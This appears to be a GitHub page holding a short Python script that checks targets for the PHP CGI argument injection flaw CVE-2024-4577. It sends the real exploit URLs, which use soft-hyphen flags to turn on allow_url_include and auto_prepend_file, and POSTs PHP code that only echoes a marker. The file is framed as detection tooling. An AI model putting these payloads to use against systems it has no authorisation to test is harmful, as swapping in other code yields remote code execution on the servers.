-
Notifications
You must be signed in to change notification settings - Fork 18
/
cve_2024_4577.py
36 lines (30 loc) · 1.36 KB
/
cve_2024_4577.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import argparse
def test_cgi_vulnerability(url):
payloads = [
'/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input',
'/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input'
]
php_code = '<?php echo "vulnerable"; ?>'
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
for payload in payloads:
test_url = f"{url}{payload}"
try:
response = requests.post(test_url, headers=headers, data=php_code)
response_text = response.text.lower()
if "vulnerable" in response_text or "directory" in response_text or "index of" in response_text:
print(f"(+) Potential vulnerability detected at: {test_url}")
else:
print(f"(-) No vulnerability detected at: {test_url}")
except Exception as e:
print(f"(!) Error testing {test_url}: {e}")
def main():
parser = argparse.ArgumentParser(description="PHP CGI Argument Injection (CVE-2024-4577) Detection Script")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
args = parser.parse_args()
target_url = args.target.rstrip('/')
test_cgi_vulnerability(target_url)
if __name__ == "__main__":
main()